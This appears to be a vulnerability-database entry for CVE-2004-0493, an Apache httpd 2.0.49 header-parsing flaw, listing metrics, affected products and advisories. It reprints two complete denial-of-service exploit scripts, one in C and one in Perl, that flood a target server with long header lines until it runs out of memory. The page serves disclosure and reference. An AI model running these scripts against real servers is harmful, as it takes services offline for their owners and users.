CVE-2004-0493 : Detail

CVE-2004-0493

90.06%V3
Network
2004-06-30
02h00 +00:00
2021-06-06
08h09 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

The ap_get_mime_headers_core function in Apache httpd 2.0.49 allows remote attackers to cause a denial of service (memory exhaustion), and possibly an integer signedness error leading to a heap-based buffer overflow on 64 bit systems, via long header lines with large numbers of space or tab characters.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 6.4 AV:N/AC:L/Au:N/C:N/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 371

Publication date : 2004-08-01 22h00 +00:00
Author : anonymous
EDB Verified : Yes

#include <stdio.h> #include <stdlib.h> #include <sys/wait.h> #include <sys/types.h> #include <netinet/in.h> #include <sys/socket.h> #include <errno.h> #include <string.h> #include <unistd.h> #define A 0x41 #define PORT 80 struct sockaddr_in hrm; int conn(char *ip) { int sockfd; hrm.sin_family = AF_INET; hrm.sin_port = htons(PORT); hrm.sin_addr.s_addr = inet_addr(ip); bzero(&(hrm.sin_zero),8); sockfd=socket(AF_INET,SOCK_STREAM,0); if((connect(sockfd,(struct sockaddr*)&hrm,sizeof(struct sockaddr)))<0) { perror("connect"); exit(0); } return sockfd; } int main(int argc, char *argv[]) { int i,x; char buf[300],a1[8132],a2[50],host[100],content[100]; char *ip=argv[1],*new=malloc(sizeof(int)); sprintf(new,"\r\n"); memset(a1,'\0',8132); memset(host,'\0',100); memset(content,'\0',100); a1[0] = ' '; for(i=1;i<8132;i++) a1[i] = A; if(argc<2) { printf("%s: IP\n",argv[0]); exit(0); } x = conn(ip); printf("[x] Connected to: %s.\n",inet_ntoa(hrm.sin_addr)); sprintf(host,"Host: %s\r\n",argv[1]); sprintf(content,"Content-Length: 50\r\n"); sprintf(buf,"GET / HTTP/1.0\r\n"); write(x,buf,strlen(buf)); printf("[x] Sending buffer..."); for(i=0;i<2000;i++) { write(x,a1,strlen(a1)); write(x,new,strlen(new)); } memset(buf,'\0',300); strcpy(buf,host); strcat(buf,content); for(i=0;i<50;i++) a2[i] = A; strcat(buf,a2); strcat(buf,"\r\n\r\n"); write(x,buf,strlen(buf)); printf("done!\n"); close(x); } // milw0rm.com [2004-08-02]
Exploit Database EDB-ID : 360

Publication date : 2004-07-21 22h00 +00:00
Author : bkbll
EDB Verified : Yes

#/usr/bin/perl # #exploit for apache ap_get_mime_headers_core() vuln # #adv is here: http://www.guninski.com/httpd1.html # #version: apache 2 <2.0.49 apache 1 not tested. # #by bkbll bkbll#cnhonker.net http://www.cnhonker.com # #tail -f /var/log/messages #Jul 1 17:43:16 www kernel: Out of Memory: Killed process 658 (httpd) # use IO::Socket::INET; $host="10.10.10.114"; $port=80; $sock = IO::Socket::INET->new(PeerAddr => $host,PeerPort => $port, Proto => 'tcp') || die "new error$@\n"; binmode($sock); $hostname="Host: $host"; $buf2='A'x50; $buf4='A'x8183; $len=length($buf2); $buf="GET / HTTP/1.1\r\n"; send($sock,$buf,0) || die "send error:$@\n"; for($i= 0; $i < 2000000; $i++) { $buf=" $buf4\r\n"; send($sock,$buf,0) || die "send error:$@, target maybe have been D.o.S?\n"; } $buf="$hostname\r\n"; $buf.="Content-Length: $len\r\n"; $buf.="\r\n"; $buf.=$buf2."\r\n\r\n"; send($sock,$buf,0) || die "send error:$@\n"; print "Ok, our buffer have send to target \n"; close($sock);

Products Mentioned

Configuraton 0

Avaya>>Converged_communications_server >> Version 2.0

Gentoo>>Linux >> Version 1.4

Trustix>>Secure_linux >> Version 1.5

Trustix>>Secure_linux >> Version 2.0

Trustix>>Secure_linux >> Version 2.1

Configuraton 0

Apache>>Http_server >> Version 2.0.47

Apache>>Http_server >> Version 2.0.48

Apache>>Http_server >> Version 2.0.49

Ibm>>Http_server >> Version 2.0.42

Ibm>>Http_server >> Version 2.0.42.1

Ibm>>Http_server >> Version 2.0.42.2

Ibm>>Http_server >> Version 2.0.47

Ibm>>Http_server >> Version 2.0.47.1

Avaya>>S8300 >> Version r2.0.0

Avaya>>S8500 >> Version r2.0.0

Avaya>>S8700 >> Version r2.0.0

References

http://www.trustix.org/errata/2004/0039/
Tags : vendor-advisory, x_refsource_TRUSTIX
http://marc.info/?l=bugtraq&m=108853066800184&w=2
Tags : mailing-list, x_refsource_BUGTRAQ
http://www.securityfocus.com/bid/10619
Tags : vdb-entry, x_refsource_BID
http://www.redhat.com/support/errata/RHSA-2004-342.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.mandriva.com/security/advisories?name=MDKSA-2004:064
Tags : vendor-advisory, x_refsource_MANDRAKE
http://marc.info/?l=bugtraq&m=109181600614477&w=2
Tags : vendor-advisory, x_refsource_HP
http://security.gentoo.org/glsa/glsa-200407-03.xml
Tags : vendor-advisory, x_refsource_GENTOO